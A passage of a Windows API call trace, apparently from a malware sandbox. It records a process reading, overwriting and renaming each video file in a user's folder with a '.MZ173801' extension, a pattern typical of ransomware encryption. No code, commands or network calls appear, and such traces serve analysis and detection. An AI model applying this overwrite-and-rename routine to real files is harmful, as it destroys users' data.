HALPmcxz\\Videos\\gYbE-viNm\\d3tdrORfPWVhLxPWU.flv.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\d3tdrorfpwvhlxpwu.flv.mz173801")) returned 1 [0124.008] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\Dw5RNx3tyh2O9iG.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\dw5rnx3tyh2o9ig.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0124.008] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0124.008] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.008] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x155f9 [0124.008] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.008] ReadFile (in: hFile=0x290, lpBuffer=0x714510, nNumberOfBytesToRead=0x155f9, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x155f9, lpOverlapped=0x0) returned 1 [0124.010] CloseHandle (hObject=0x290) returned 1 [0124.011] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\Dw5RNx3tyh2O9iG.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\dw5rnx3tyh2o9ig.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0124.013] WriteFile (in: hFile=0x290, lpBuffer=0x72a540*, nNumberOfBytesToWrite=0x155f9, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x72a540*, lpNumberOfBytesWritten=0x18f6d0*=0x155f9, lpOverlapped=0x0) returned 1 [0124.015] CloseHandle (hObject=0x290) returned 1 [0124.021] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\Dw5RNx3tyh2O9iG.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\dw5rnx3tyh2o9ig.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\Dw5RNx3tyh2O9iG.mkv.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\dw5rnx3tyh2o9ig.mkv.mz173801")) returned 1 [0124.025] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\x_3JCZg.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\x_3jczg.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0124.025] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0124.025] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.025] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xc552 [0124.025] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.025] ReadFile (in: hFile=0x290, lpBuffer=0x714510, nNumberOfBytesToRead=0xc552, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0xc552, lpOverlapped=0x0) returned 1 [0124.026] CloseHandle (hObject=0x290) returned 1 [0124.027] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\x_3JCZg.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\x_3jczg.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0124.029] WriteFile (in: hFile=0x290, lpBuffer=0x722540*, nNumberOfBytesToWrite=0xc552, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x722540*, lpNumberOfBytesWritten=0x18f6d0*=0xc552, lpOverlapped=0x0) returned 1 [0124.031] CloseHandle (hObject=0x290) returned 1 [0124.039] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\x_3JCZg.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\x_3jczg.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\x_3JCZg.swf.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\x_3jczg.swf.mz173801")) returned 1 [0124.043] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\-VtDLF2vlmYEYlU3yH.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\-vtdlf2vlmyeylu3yh.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.043] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0124.043] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.043] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x139f1 [0124.043] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.043] ReadFile (in: hFile=0x294, lpBuffer=0x71c870, nNumberOfBytesToRead=0x139f1, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x71c870*, lpNumberOfBytesRead=0x18f3f8*=0x139f1, lpOverlapped=0x0) returned 1 [0124.044] CloseHandle (hObject=0x294) returned 1 [0124.046] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\-VtDLF2vlmYEYlU3yH.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\-vtdlf2vlmyeylu3yh.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.047] WriteFile (in: hFile=0x294, lpBuffer=0x7308a0*, nNumberOfBytesToWrite=0x139f1, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x7308a0*, lpNumberOfBytesWritten=0x18f404*=0x139f1, lpOverlapped=0x0) returned 1 [0124.049] CloseHandle (hObject=0x294) returned 1 [0124.053] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\-VtDLF2vlmYEYlU3yH.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\-vtdlf2vlmyeylu3yh.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\-VtDLF2vlmYEYlU3yH.avi.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\-vtdlf2vlmyeylu3yh.avi.mz173801")) returned 1 [0124.057] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\3PeJZ.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\3pejz.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.057] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0124.057] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.057] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x9b7b [0124.057] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.057] ReadFile (in: hFile=0x294, lpBuffer=0x71c870, nNumberOfBytesToRead=0x9b7b, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x71c870*, lpNumberOfBytesRead=0x18f3f8*=0x9b7b, lpOverlapped=0x0) returned 1 [0124.058] CloseHandle (hObject=0x294) returned 1 [0124.059] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\3PeJZ.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\3pejz.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.060] WriteFile (in: hFile=0x294, lpBuffer=0x7268a0*, nNumberOfBytesToWrite=0x9b7b, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x7268a0*, lpNumberOfBytesWritten=0x18f404*=0x9b7b, lpOverlapped=0x0) returned 1 [0124.062] CloseHandle (hObject=0x294) returned 1 [0124.078] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\3PeJZ.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\3pejz.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\3PeJZ.mkv.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\3pejz.mkv.mz173801")) returned 1 [0124.083] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\5pcMudakb2JM.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\5pcmudakb2jm.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.083] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0124.083] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.083] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x5b28 [0124.083] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.083] ReadFile (in: hFile=0x294, lpBuffer=0x71c870, nNumberOfBytesToRead=0x5b28, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x71c870*, lpNumberOfBytesRead=0x18f3f8*=0x5b28, lpOverlapped=0x0) returned 1 [0124.085] CloseHandle (hObject=0x294) returned 1 [0124.085] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\5pcMudakb2JM.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\5pcmudakb2jm.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.087] WriteFile (in: hFile=0x294, lpBuffer=0x7228a0*, nNumberOfBytesToWrite=0x5b28, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x7228a0*, lpNumberOfBytesWritten=0x18f404*=0x5b28, lpOverlapped=0x0) returned 1 [0124.088] CloseHandle (hObject=0x294) returned 1 [0124.093] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\5pcMudakb2JM.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\5pcmudakb2jm.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\5pcMudakb2JM.avi.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\5pcmudakb2jm.avi.mz173801")) returned 1 [0124.102] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\5Xvh-dNGADIis8rw_hEQ.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\5xvh-dngadiis8rw_heq.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.102] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0124.102] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.102] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x1051 [0124.102] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.102] ReadFile (in: hFile=0x294, lpBuffer=0x71c870, nNumberOfBytesToRead=0x1051, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x71c870*, lpNumberOfBytesRead=0x18f3f8*=0x1051, lpOverlapped=0x0) returned 1 [0124.103] CloseHandle (hObject=0x294) returned 1 [0124.104] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\5Xvh-dNGADIis8rw_hEQ.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\5xvh-dngadiis8rw_heq.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.105] WriteFile (in: hFile=0x294, lpBuffer=0x71e8a0*, nNumberOfBytesToWrite=0x1051, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x71e8a0*, lpNumberOfBytesWritten=0x18f404*=0x1051, lpOverlapped=0x0) returned 1 [0124.106] CloseHandle (hObject=0x294) returned 1 [0124.107] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\5Xvh-dNGADIis8rw_hEQ.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\5xvh-dngadiis8rw_heq.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\5Xvh-dNGADIis8rw_hEQ.avi.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\5xvh-dngadiis8rw_heq.avi.mz173801")) returned 1 [0124.113] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\adRssK1YxaXTZ1L 7.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\adrssk1yxaxtz1l 7.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.113] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0124.113] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.113] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x1f35 [0124.113] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.113] ReadFile (in: hFile=0x294, lpBuffer=0x71c870, nNumberOfBytesToRead=0x1f35, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x71c870*, lpNumberOfBytesRead=0x18f3f8*=0x1f35, lpOverlapped=0x0) returned 1 [0124.115] CloseHandle (hObject=0x294) returned 1 [0124.115] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\adRssK1YxaXTZ1L 7.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\adrssk1yxaxtz1l 7.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.117] WriteFile (in: hFile=0x294, lpBuffer=0x71e8a0*, nNumberOfBytesToWrite=0x1f35, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x71e8a0*, lpNumberOfBytesWritten=0x18f404*=0x1f35, lpOverlapped=0x0) returned 1 [0124.118] CloseHandle (hObject=0x294) returned 1 [0124.121] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\adRssK1YxaXTZ1L 7.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\adrssk1yxaxtz1l 7.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\adRssK1YxaXTZ1L 7.mkv.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\adrssk1yxaxtz1l 7.mkv.mz173801")) returned 1 [0124.126] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\Cd6F3Pt V_QUH.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\cd6f3pt v_quh.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.127] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0124.127] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.127] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x179a9 [0124.127] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.127] ReadFile (in: hFile=0x294, lpBuffer=0x71c870, nNumberOfBytesToRead=0x179a9, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x71c870*, lpNumberOfBytesRead=0x18f3f8*=0x179a9, lpOverlapped=0x0) returned 1 [0124.129] CloseHandle (hObject=0x294) returned 1 [0124.132] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\Cd6F3Pt V_QUH.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\cd6f3pt v_quh.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.134] WriteFile (in: hFile=0x294, lpBuffer=0x7348a0*, nNumberOfBytesToWrite=0x179a9, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x7348a0*, lpNumberOfBytesWritten=0x18f404*=0x179a9, lpOverlapped=0x0) returned 1 [0124.137] CloseHandle (hObject=0x294) returned 1 [0124.139] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\Cd6F3Pt V_QUH.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\cd6f3pt v_quh.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\Cd6F3Pt V_QUH.swf.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\cd6f3pt v_quh.swf.mz173801")) returned 1 [0124.148] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\GnDt.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\gndt.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.148] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0124.148] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.148] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x8232 [0124.148] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.148] ReadFile (in: hFile=0x294, lpBuffer=0x71c870, nNumberOfBytesToRead=0x8232, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x71c870*, lpNumberOfBytesRead=0x18f3f8*=0x8232, lpOverlapped=0x0) returned 1 [0124.149] CloseHandle (hObject=0x294) returned 1 [0124.150] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\GnDt.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\gndt.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.151] WriteFile (in: hFile=0x294, lpBuffer=0x7268a0*, nNumberOfBytesToWrite=0x8232, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x7268a0*, lpNumberOfBytesWritten=0x18f404*=0x8232, lpOverlapped=0x0) returned 1 [0124.153] CloseHandle (hObject=0x294) returned 1 [0124.154] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\GnDt.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\gndt.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\GnDt.mp4.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\gndt.mp4.mz173801")) returned 1 [0124.157] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\he60tRzePztsrtC\\JzuFB2BbxP4j_MByd_.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\he60trzepztsrtc\\jzufb2bbxp4j_mbyd_.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.158] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) 